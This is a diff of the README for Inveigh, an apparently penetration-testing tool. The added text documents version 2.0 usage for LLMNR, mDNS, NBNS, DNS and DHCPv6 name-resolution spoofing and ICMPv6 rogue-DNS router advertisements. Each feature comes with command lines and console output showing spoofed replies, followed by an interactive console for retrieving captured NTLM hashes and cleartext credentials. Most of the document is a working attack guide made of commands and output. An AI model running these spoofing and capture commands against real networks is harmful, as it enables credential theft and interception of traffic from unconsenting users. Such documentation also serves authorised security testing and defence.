-Since the .NET packet sniffer requires elevated privilege, Inveigh also contains UDP listener based LLMNR/mDNS/NBNS/DNS functions. These listeners can provide the ability to perform spoofing with only unprivileged access. Port conflicts can be an issue with any running listeners bound to 0.0.0.0 on some versions of Windows. Server 2016 and Windows 10 seem to have relaxed rules around exclusive use of the LLMNR and mDNS ports. Inveigh can usually perform unprivileged NBNS spoofing on all versions of Windows. Most of Inveigh’s other features, with the primary exceptions of the packet sniffer’s SMB capture and HTTPS (due to certificate install privilege requirements), do not require elevated privilege. Note that an enabled local firewall blocking all relevant ports, and without a listed service with open firewall access suitable for migration, can still prevent Inveigh from working with just unprivileged access since privileged access will likely be needed to modify the firewall settings.
+ -WPADResponse Default=Autogenerated: Contents of wpad.dat responses.
+```
+### Default (autodetect local IPs)
+```
+.\Inveigh.exe
+[*] Inveigh 2.0 [Started 2021-06-15T00:08:37 | PID 12588]
+[+] Packet Sniffer Addresses [IP 10.10.2.111 | IPv6 fe80::3d3b:b73c:c43e:ed4e%2]
+[+] Listener Addresses [IP 0.0.0.0 | IPv6 ::]
+[+] Spoofer Reply Addresses [IP 10.10.2.111 | IPv6 fe80::3d3b:b73c:c43e:ed4e%2]
+[+] Spoofer Options [Repeat Enabled | Local Attacks Disabled]
+[-] DHCPv6
+[+] DNS Packet Sniffer [Type A]
+[-] ICMPv6
+[+] LLMNR Packet Sniffer [Type A]
+[-] MDNS
+[-] NBNS
+[+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTLM | Port 80]
+[-] HTTPS
+[+] WebDAV [WebDAVAuth NTLM]
+[-] Proxy
+[+] LDAP Listener [Port 389]
+[+] SMB Packet Sniffer [Port 445]
+[+] File Output [C:\Users\dev\source\repos\Inveigh\Inveigh\bin\Debug\net35]
+[+] Previous Session Files [Imported]
+[*] Press ESC to enter/exit interactive console
+```
+### Listener Only Mode (disabled packet sniffer)
+```
+.\Inveigh.exe -sniffer n
+[*] Inveigh 2.0 [Started 2021-06-14T10:48:16 | PID 20368]
+[-] Packet Sniffer
+[+] Listener Addresses [IP 0.0.0.0 | IPv6 ::]
+[+] Spoofer Reply Addresses [IP 10.10.2.111 | IPv6 fe80::3d3b:b73c:c43e:ed4e%2]
+[+] Spoofer Options [Repeat Enabled | Local Attacks Disabled]
+[-] DHCPv6
+[+] DNS Listener [Type A]
+[-] ICMPv6
+[+] LLMNR Listener [Type A]
+[-] MDNS
+[-] NBNS
+[+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTLM | Port 80]
+[-] HTTPS
+[+] WebDAV [WebDAVAuth NTLM]
+[-] Proxy
+[+] LDAP Listener [Port 389]
+[+] SMB Listener [Port 445]
+[+] File Output [C:\Users\dev\source\repos\InveighZero\Inveigh\bin\Debug\net35]
+[+] Previous Session Files [Imported]
+[*] Press ESC to enter/exit interactive console
+[!] Failed to start SMB listener on port 445, check IP and port usage.
+[!] Failed to start SMB listener on port 445, check IP and port usage.
+```
+Note, with the packet sniffer disabled, Inveigh will attempt to start SMB listeners for IPv4 and IPv6. On most windows systems, port 445 will already be in use. Either ignore error or add `-smb n`.
-By default, Inveigh will attempt to detect the privilege level and load the corresponding functions.
+### <a name="DHCPv6"></a>DHCPv6
-Inveigh provides NTLMv1/NTLMv2 HTTP/HTTPS/Proxy to SMB2.1 relay through the Inveigh Relay module. This module does not require elevated privilege, again with the exception of HTTPS, on the Inveigh host.
+Start DHCPv6 spoofer and IPv6 DNS spoofer. Note, DNS is on by default.
+```
+.\Inveigh.exe -dhcpv6 y
+...
+[+] DHCPv6 Listener [MAC 52:54:00:FF:B5:53]
+[+] DNS Listener [Type A]
+...
+[+] [23:03:06] DHCPv6 [solicitation] from fe80::bd92:a800:60d0:8deb%2(test-wks1.lab.inveigh.org) [response sent]
+[+] [23:03:06] DHCPv6 [fe80::1348:1] advertised to [00:0C:29:F0:6E:16]
+[+] [23:03:06] DHCPv6 [request] from fe80::bd92:a800:60d0:8deb%2(test-wks1.lab.inveigh.org) [response sent]
+[+] [23:03:06] DHCPv6 [fe80::1348:1] leased to [00:0C:29:F0:6E:16]
+```
+Start DHCPv6 spoofer and spoof DNS requests for internal domain only.
+```
+.\Inveigh.exe -dhcpv6 y -replytodomains lab.inveigh.org
+...
+[+] DHCPv6 Listener [MAC 52:54:00:FF:B5:53]
+[+] DNS Listener [Type A]
+...
+[-] [23:10:30] DNS(A) request [test.inveigh.org] from fe80::6142:1%2 [domain ignored]
+[+] [23:10:33] DNS(A) request [wpad.lab.inveigh.org] from fe80::6142:1%2 [response sent]
+```
+Start DHCPv6 spoofer and also send out ICMPv6 RA packets.
+```
+.\Inveigh.exe -dhcpv6 y -icmpv6 y
+...
+[+] DHCPv6 Listener [MAC 52:54:00:FF:B5:53]
+[+] DNS Listener [Type A]
+[+] ICMPv6 Router Advertisement [Interval 200 Seconds]
+...
+[+] [23:12:04] ICMPv6 router advertisment sent to [ff02::1]
+```
+Start DHCPv6 spoofer and answer requests from the local host.
+```
+.\Inveigh.exe -dhcpv6 y -local y
+...
+[+] Spoofer Options [Repeat Enabled | Local Attacks Enabled]
+[+] DHCPv6 Listener [MAC 52:54:00:FF:B5:53]
+```
+### <a name="DNS"></a>DNS
+Spoof SRV requests in addition to A.
+```
+.\Inveigh.exe -dnstypes A,SRV -dnshost fake.lab.inveigh.org
+...
+[+] DNS Listener [Types A:SRV]
+...
+[+] [23:21:05] DNS(SRV) request [_ldap._tcp.dc._msdcs.lab.inveigh.org] from fe80::242d:f99e:7534:b46f%2 [response sent]
+```
+### <a name="ICMPv6"></a>ICMPv6
+Send ICMPv6 packets to inject a secondary IPv6 DNS server on local subnet systems.
+```
+.\Inveigh.exe -icmpv6 y
+...
+[+] ICMPv6 Router Advertisement [Option DNS | Interval 200 Seconds]
+...
+[+] [23:35:46] ICMPv6 router advertisement with DNSv6 sent to [ff02::1]
+```
+Send ICMPv6 packets to inject an additional DNS search suffix on local subnet systems.
+```
+.\Inveigh.exe -icmpv6 y -dnssuffix inveigh.net
+...
+[+] ICMPv6 Router Advertisement [Option DNS Suffix | Interval 200 Seconds]
+...
+[+] [23:41:17] ICMPv6 router advertisement with DNS Suffix sent to [ff02::1]
+```
+### <a name="LLMNR"></a>LLMNR
+Spoof AAAA requests instead of A.
+```
+.\Inveigh.exe -llmnrtypes AAAA
+...
+[+] LLMNR Listener [Type AAAA]
+...
+[-] [23:23:38] LLMNR(A) request [test] from fe80::bd92:a800:60d0:8deb%2 [type ignored]
+[-] [23:23:38] LLMNR(A) request [test] from 10.10.2.201 [type ignored]
+[+] [23:23:38] LLMNR(AAAA) request [test] from 10.10.2.201 [response sent]
+[+] [23:23:38] LLMNR(AAAA) request [test] from fe80::bd92:a800:60d0:8deb%2 [response sent]
+```
+### <a name="mDNS"></a>mDNS
+Start mDNS spoofer and send unicast responses to QM requests.
+```
+.\Inveigh.exe -mdns y
+...
+[+] MDNS Listener [Questions QU:QM | Type A]
+...
+[+] [23:25:58] mDNS(QM)(A) request [test.local] from fe80::bd92:a800:60d0:8deb%2 [response sent]
+[+] [23:25:58] mDNS(QM)(A) request [test.local] from 10.10.2.201 [response sent]
+[-] [23:25:58] mDNS(QM)(AAAA) request [test.local] from 10.10.2.201 [type ignored]
+[-] [23:25:58] mDNS(QM)(AAAA) request [test.local] from fe80::bd92:a800:60d0:8deb%2 [type ignored]
+```
+Start mDNS spoofer and send multicast responses to QM requests.
+```
+.\Inveigh.exe -mdns y -mdnsunicast n
+...
+[+] MDNS Listener [Questions QU:QM | Type A]
+...
+[+] [23:28:26] mDNS(QM)(A) request [test.local] from 10.10.2.201 [response sent]
+[+] [23:28:26] mDNS(QM)(A) request [test.local] from fe80::bd92:a800:60d0:8deb%2 [response sent]
+```
+### <a name="NBNS"></a>NBNS
+Start NBNS spoofer
+```
+.\Inveigh.exe -nbns y
+...
+[+] NBNS Listener [Types 00:20]
+...
+[+] [23:33:09] NBNS(00) request [TEST] from 10.10.2.201 [response sent]
+```
+## Console
-##### Inveigh Relay running with all attacks enabled
-![inveigh_relay1 4](https://user-images.githubusercontent.com/5897462/45662094-72fcce80-bace-11e8-8bc5-b546eedcb241.PNG)
+Inveigh contains a console that is accessible while the tool is running (hit escape to enter and exit). The console provides easy access to captured credentials/hashes and other various information. The console's prompt provides real-time updates for cleartext, NTLMv1, and NTLMv2 captue counts in the format of unique:total. Note, the console may be inaccessible when running through C2.
-Inveigh Relay session attack requires SMB tools from Invoke-TheHash
+### Interactive Console Help - enter ? or HELP
-* https://github.com/Kevin-Robertson/Invoke-TheHash
+```
+=============================================== Inveigh Console Commands ===============================================
+Command Description
+========================================================================================================================
+GET CONSOLE | get queued console output
+GET DHCPv6Leases | get DHCPv6 assigned IPv6 addresses
+GET LOG | get log entries; add search string to filter results
+GET NTLMV1 | get captured NTLMv1 hashes; add search string to filter results
+GET NTLMV2 | get captured NTLMv2 hashes; add search string to filter results
+GET NTLMV1UNIQUE | get one captured NTLMv1 hash per user; add search string to filter results
+GET NTLMV2UNIQUE | get one captured NTLMv2 hash per user; add search string to filter results
+GET NTLMV1USERNAMES | get usernames and source IPs/hostnames for captured NTLMv1 hashes
+GET NTLMV2USERNAMES | get usernames and source IPs/hostnames for captured NTLMv2 hashes
+GET CLEARTEXT | get captured cleartext credentials
+GET CLEARTEXTUNIQUE | get unique captured cleartext credentials
+HISTORY | get console command history
+RESUME | resume real time console output
+STOP | stop Inveigh
+```
+### Interactive Console Prompt
+The console prompt contains real time capture counts.
+```
+C(0:0) NTLMv1(0:0) NTLMv2(0:0)>
+```
+Cleartext(unique:total) NTLMv1(unique:total) NTLMv2(unique:total)
+## Quiddity
+The protocol library used by Inveigh is located [here](https://github.com/Kevin-Robertson/Quiddity).